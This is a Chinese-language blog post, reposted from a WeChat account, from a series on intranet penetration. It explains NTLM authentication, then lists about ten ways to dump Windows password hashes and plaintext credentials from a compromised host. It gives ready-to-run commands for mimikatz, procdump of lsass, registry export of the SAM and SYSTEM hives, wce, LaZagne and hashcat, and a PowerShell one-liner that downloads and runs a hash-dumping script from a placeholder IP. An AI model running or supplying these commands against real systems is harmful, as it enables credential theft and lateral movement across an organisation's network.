在内网渗透中,当攻击者获取到内网某台机器的控制权后,会议被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,控制欲环境下的全部机器。
0x00 Windows下安全认证机制
Windows下的安全认证机制总共有两种,一种是基于NTLM的认证方式,主要用在早期的Windows工作组环境中;另一种是基于Kerberos的认证方式,主要用在域环境中。
这里主要对NTLM的认证流程做一下说明:
1、首先在客户端中输入username,password和domain,然后客户端会把密码进行Hash后的值先缓存到本地。
2、Client将username的明文发送给DC(域控)。
3、DC会生成一个16字节的随机数,也就是挑战码(Challenge),然后再传回给Client。
4、当Client收到挑战码以后,会先复制一份,然后和缓存中的密码Hash再一同混合Hash一次,混合后的值称为response,之后Client再将challenge,response以及username一并都传给server。
5、Server端在收到client传过来的这三个值以后会把它们都转发给DC。
6、当DC接到过来的这三个值的以后,会根据username到域控的账号数据库(ntds.dit)里面找到该username对应的hash,然后把这个hash拿出来和传过来的challenge值再混合hash。
7、将混合后的hash值跟传来的response进行比较,相同则认证成功,反之,则失败,当然,如果是本地登录,所有验证肯定也全部都直接在本地进行了。
0x01 windows hash介绍
NTML hash是指在windows系统下的Security Account Manager中保存的用户密码hash
该hash的生成方法:
将明文口令转换成十六进制的格式;
转换成Unicode格式,即在每个字节之后添加0x00;
对Unicode字符串作MD4加密,生成32位的十六进制数字串;
如测试测试密码为haha123
转成十六进制为:68616861313233
unicode转换:6800610068006100310032003300
md4加密:87ed0101e532322a4566d675f1627d30
测试环境:win7
0x02 windows hash值的获取
1、利用 mimikatz 获取明文密码
mimikatz下载地址:https://github.com/gentilkiwi/mimikatz/releases
根据下载文件夹中的readme
privilege::debug
sekurlsa::logonpasswords
获取的SHA1为加密后的密码,该加密字段进行md5解密即可,存在空密码的用户也会抓取到一盒哈希值,将该sha1解密后其实是个空字段
2、利用 procdump & mimikatz 获取密码(推荐使用)
procdump是 Microsoft Sysinternals tools 中的工具,它的主要目的是监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因. 你还可以把它作为生成dump的工具使用在其他的脚本中。
procdump下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
以管理员身份运行cmd,利用procdump导出lsass进程文件
procdump.exe -accepteula -ma lsass.exe
导出结束后利用mimikatz读出内容
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit)
3、利用 pwdump7 获取密码
下载地址:http://passwords.openwall.net/b/pwdump/pwdump7.zip
管理员权限运行cmd
获取加密后的hash,可登录网站https://www.objectif-securite.ch/ophcrack,进行解密
也可以用hashcat进行破解,具体使用可参考;https://xz.aliyun.com/t/4008
hashcat -a 3 -m 1000 --force 209C6174DA490CAEB422F3FA5A7AE634 ?l?l?l?l?l
4、利用SAMinside获取hash
SAMInside:它能从SAM注册文件中提取用户名以及密码
“导入本地用户通过任务计划”
5、wce.exe 获取hash
下载地址:https://www.ampliasecurity.com/research/windows-credentials-editor/
保存输出到文件内:wce.exe -o output.txt
获取明文密码:wce.exe -w
6、SharpDump.exe
7、Mimikatz 调用 lsadump(推荐使用)
该方法在win7、win10 下均可适用
使用 Reg 需要NT/SYSTEM权限 :
reg save HKLMSYSTEM system.hiv
reg save HKLMSAM sam.hiv
reg save HKLMsecurity security.hiv
Mimikatz 调用 lsadump
lsadump::sam /system:system.hiv /sam:sam.hiv
8、QuarksPwDump工具
下载地址:https://github.com/ssssanr/QuarksPwDump-off-line
Quarkspwdump.exe -dhl
9、LaZagne
下载地址:https://github.com/AlessandroZ/LaZagne/releases/
LaZagne 是用于获取存储在本地计算机上的大量密码的开源应用程序,存在linux版、windows版、mac版,LaZagne.exe可捕获的密码会全一些,可抓取浏览器、无线等相关密码,获取windows hash值。
LaZagne.exe windows
10、powershell
一、Get-PassHashes.ps1
下载地址:https://github.com/samratashok/nishang/blob/master/Gather/Get-PassHashes.ps1
使用方法:(xx.xx.xx.xx为存放shell的ip地址)
powershell IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/Get-PassHashes.ps1');Get-PassHashes
————————————————
参考:
https://blog.csdn.net/lansefly1990/article/details/104527209
https://www.secrss.com/articles/24903
本文始发于微信公众号(Hacking黑白红):【内网渗透系列】- 获取windows hash的几种方式(文中附工具下载链接)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论